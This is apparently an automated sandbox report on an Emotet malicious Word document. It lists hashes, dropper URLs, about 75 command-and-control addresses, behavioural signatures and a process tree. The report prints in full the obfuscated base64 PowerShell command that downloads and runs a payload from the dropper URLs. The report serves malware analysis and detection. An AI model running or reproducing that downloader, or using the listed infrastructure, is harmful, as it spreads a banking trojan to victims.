emotet | be1dcfa680eef588dd43efb8b16e41b45ef70a6e63596c81f9d76013abaa8dd8

General

Target
emotet_e3_be1dcfa680eef588dd43efb8b16e41b45ef70a6e63596c81f9d76013abaa8dd8_2020-08-17__163933._doc.doc
Size 232KB
Sample200817-v3gl6db8lj
SHA256 be1dcfa680eef588dd43efb8b16e41b45ef70a6e63596c81f9d76013abaa8dd8
MD5 3af216110ed78a7deab130e79b47d71c
SHA1 555ed0e3dac5e92d29cef2b2c0414d69d3eb112b
SHA512 0eed63fc7aa0ca3e480fdb488ecd41af29342a5490a28eee51965aafac871c12b1c9170041c57eaeb5653700fe814325dc4463aaaf24050e4d6b0db0d4cd2cdb
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://muliarental.com/f9u8w-mrs-88/VWVA/
exe.dropper
https://dev.dosily.in/wp-content/qyY/
exe.dropper
http://behnasan.com/wp-content/uZRqx/
exe.dropper
http://www.leframe.com/zcMv/tATDYnJy/
exe.dropper
http://runderfulthailand.com/jkats/LvJDvtg8270/

Extracted

Family

emotet

C2

186.109.104.67:80
185.86.148.68:443
139.99.157.213:8080
105.213.67.88:80
190.53.144.120:80
203.153.216.182:7080
81.214.253.80:443
195.201.56.70:8080
201.213.177.139:80
31.146.61.34:80
177.144.130.105:443
92.24.51.238:80
197.83.232.19:80
105.209.235.113:8080
188.0.135.237:80
176.9.93.82:7080
190.164.75.175:80
188.251.213.180:443
87.106.231.60:8080
113.161.148.81:80
97.104.107.190:80
86.57.216.23:80
192.163.221.191:8080
115.79.195.246:80
5.79.70.250:8080
41.84.237.198:443
46.105.131.68:8080
77.74.78.80:443
105.184.233.166:80
91.83.93.103:443
187.64.128.197:80
185.208.226.142:8080
177.32.8.85:80
46.32.229.152:8080
177.37.81.212:443
66.61.94.36:80
190.212.140.6:80
212.112.113.235:80
190.190.15.20:80
75.127.14.170:8080
172.96.190.154:8080
192.241.220.183:8080
41.185.29.128:8080
182.176.95.147:80
37.46.129.215:8080
181.134.9.162:80
201.235.10.215:80
181.113.229.139:443
181.114.114.203:80
179.5.118.12:80
178.33.167.120:8080
198.57.203.63:8080
185.142.236.163:443
71.57.180.213:80
115.78.11.155:80
217.199.160.224:8080
172.105.78.244:8080
115.165.3.213:80
202.5.47.71:80
81.17.93.134:80
74.208.173.91:8080
192.210.217.94:8080
179.62.238.49:80
157.7.164.178:8081
143.95.101.72:8080
182.187.139.200:8080
216.75.37.196:8080
139.59.12.63:8080
203.153.216.178:7080
50.116.78.109:8080
51.38.201.19:7080
107.161.30.122:8080
177.94.227.143:80
78.189.60.109:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2580	500	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2208-15-0x0000000002390000-0x000000000239C000-memory.dmp	emotet
behavioral2/memory/2208-15-0x0000000002390000-0x000000000239C000-memory.dmp	emotet
behavioral2/memory/3564-18-0x0000000002160000-0x000000000216C000-memory.dmp	emotet
behavioral2/memory/3564-18-0x0000000002160000-0x000000000216C000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
20	2580	powersheLL.exe
22	2580	powersheLL.exe
24	2580	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2208	Ycfq.exe
3564	Windows.Networking.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\MapRouter\Windows.Networking.exe	Ycfq.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2580	powersheLL.exe
2580	powersheLL.exe
2580	powersheLL.exe
3564	Windows.Networking.exe
3564	Windows.Networking.exe
3564	Windows.Networking.exe
3564	Windows.Networking.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
2208	Ycfq.exe
2208	Ycfq.exe
3564	Windows.Networking.exe
3564	Windows.Networking.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 2208	2580	powersheLL.exe	77
PID 2580 wrote to memory of 2208	2580	powersheLL.exe	77
PID 2580 wrote to memory of 2208	2580	powersheLL.exe	77
PID 2208 wrote to memory of 3564	2208	Ycfq.exe	78
PID 2208 wrote to memory of 3564	2208	Ycfq.exe	78
PID 2208 wrote to memory of 3564	2208	Ycfq.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_be1dcfa680eef588dd43efb8b16e41b45ef70a6e63596c81f9d76013abaa8dd8_2020-08-17__163933._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABKAGUAYQBlADkAaQB0AD0AJwBVAHEAXwB4AHYAdgBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBgAFIAaQB0AFkAcABSAGAAbwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABJAGUAcAA2AGoANQBtACAAPQAgACcAWQBjAGYAcQAnADsAJABYAF8AbABzAGcAZgB6AD0AJwBaAHkAMQA2ADEAeAAzACcAOwAkAEsAbQBrADMAcABvAGgAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABJAGUAcAA2AGoANQBtACsAJwAuAGUAeABlACcAOwAkAEwAdQBmAGcANQBqAGEAPQAnAEsAdQB0ADIAMwByADMAJwA7ACQASwAzAGwAYgAzAGgAMwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBDAEwAaQBFAG4AVAA7ACQAWABvAGoAYQB6AG8AdAA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAGYAOQB1ADgAdwAtAG0AcgBzAC0AOAA4AC8AVgBXAFYAQQAvACoAaAB0AHQAcABzADoALwAvAGQAZQB2AC4AZABvAHMAaQBsAHkALgBpAG4ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcQB5AFkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAGgAbgBhAHMAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBaAFIAcQB4AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAGYAcgBhAG0AZQAuAGMAbwBtAC8AegBjAE0AdgAvAHQAQQBUAEQAWQBuAEoAeQAvACoAaAB0AHQAcAA6AC8ALwByAHUAbgBkAGUAcgBmAHUAbAB0AGgAYQBpAGwAYQBuAGQALgBjAG8AbQAvAGoAawBhAHQAcwAvAEwAdgBKAEQAdgB0AGcAOAAyADcAMAAvACcALgAiAHMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQA4AGcAbwA1AHMAOQA9ACcATwBfAGIAZQAyAGYAOQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBiADIAZgBpAHIAegAgAGkAbgAgACQAWABvAGoAYQB6AG8AdAApAHsAdAByAHkAewAkAEsAMwBsAGIAMwBoADMALgAiAGQATwB3AG4AbABgAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFIAYgAyAGYAaQByAHoALAAgACQASwBtAGsAMwBwAG8AaAApADsAJABWAGoAcwB0AGMAcgB3AD0AJwBaAG0AYwB4AHgAOQAzACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASwBtAGsAMwBwAG8AaAApAC4AIgBMAGAAZQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADkANAA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEsAbQBrADMAcABvAGgAKQA7ACQAUgB4ADUAcgBvAGsAMAA9ACcASgB4ADUAaQA4AGkAawAnADsAYgByAGUAYQBrADsAJABQADkAdABfAGkAMAAyAD0AJwBOAHAAcgBwAGwAZgB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABjAHMAZAByAHAAPQAnAE8AOAAxADUANABwAGQAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Users\Admin\AppData\Local\Temp\Ycfq.exe
  "C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\SysWOW64\MapRouter\Windows.Networking.exe
    "C:\Windows\SysWOW64\MapRouter\Windows.Networking.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3564

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2208-15-0x0000000002390000-0x000000000239C000-memory.dmp

Download

memory/2580-9-0x00007FF8BBBE0000-0x00007FF8BC5CC000-memory.dmp

Download

memory/2580-10-0x000002236B350000-0x000002236B351000-memory.dmp

Download

memory/2580-11-0x000002236B800000-0x000002236B801000-memory.dmp

Download

memory/3564-18-0x0000000002160000-0x000000000216C000-memory.dmp

Download

memory/3816-0-0x00007FF8C91B0000-0x00007FF8C9876000-memory.dmp

Download

memory/3816-6-0x000002AC61DF8000-0x000002AC61DFD000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads